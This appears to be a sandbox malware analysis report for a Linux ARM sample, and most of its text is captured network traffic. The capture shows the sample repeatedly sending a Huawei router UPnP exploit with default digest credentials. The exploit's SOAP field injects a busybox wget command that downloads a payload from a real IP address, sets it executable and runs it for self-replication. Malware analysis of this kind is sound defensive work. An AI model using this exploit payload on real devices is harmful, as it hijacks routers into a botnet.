64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:20:34.003890991 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2023 20:20:39.889858961 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:20:43.067637920 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:20:49.211699009 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2023 20:20:39.938657999 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 13, 2023 20:20:40.263356924 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After
Dec 13, 2023 20:18:51.936758041 CET	54.171.230.55	443	192.168.2.13	58864	CN=motd.ubuntu.com CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US	CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Sat Oct 07 12:12:23 CEST 2023 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021	Fri Jan 05 11:12:22 CET 2024 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024
					CN=R3, O=Let's Encrypt, C=US	CN=ISRG Root X1, O=Internet Security Research Group, C=US	Fri Sep 04 02:00:00 CEST 2020	Mon Sep 15 18:00:00 CEST 2025
					CN=ISRG Root X1, O=Internet Security Research Group, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Jan 20 20:14:03 CET 2021	Mon Sep 30 20:14:03 CEST 2024

Start time (UTC):	19:18:52
Start date (UTC):	13/12/2023
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm5-20231213-1917.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/cache/motd-news

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Packets

HTTPS Connections

System Behavior

Analysis Process: dash PID: 5431, Parent PID: 3580

General

Chronological Activities

Analysis Process: cat PID: 5431, Parent PID: 3580

General

Chronological Activities

Analysis Process: dash PID: 5432, Parent PID: 3580

General

Chronological Activities

Analysis Process: head PID: 5432, Parent PID: 3580

General

Chronological Activities

Linux Analysis Report
arm5-20231213-1917.elf

Start time (UTC):	19:18:58
Start date (UTC):	13/12/2023
Path:	/tmp/arm5-20231213-1917.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	19:19:01
Start date (UTC):	13/12/2023
Path:	/tmp/arm5-20231213-1917.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	19:19:03
Start date (UTC):	13/12/2023
Path:	/tmp/arm5-20231213-1917.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	19:19:13
Start date (UTC):	13/12/2023
Path:	/tmp/arm5-20231213-1917.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	19:19:23
Start date (UTC):	13/12/2023
Path:	/tmp/arm5-20231213-1917.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	19:19:28
Start date (UTC):	13/12/2023
Path:	/tmp/arm5-20231213-1917.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	19:19:30
Start date (UTC):	13/12/2023
Path:	/tmp/arm5-20231213-1917.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	19:19:38
Start date (UTC):	13/12/2023
Path:	/tmp/arm5-20231213-1917.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	19:19:43
Start date (UTC):	13/12/2023
Path:	/tmp/arm5-20231213-1917.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	19:19:48
Start date (UTC):	13/12/2023
Path:	/tmp/arm5-20231213-1917.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1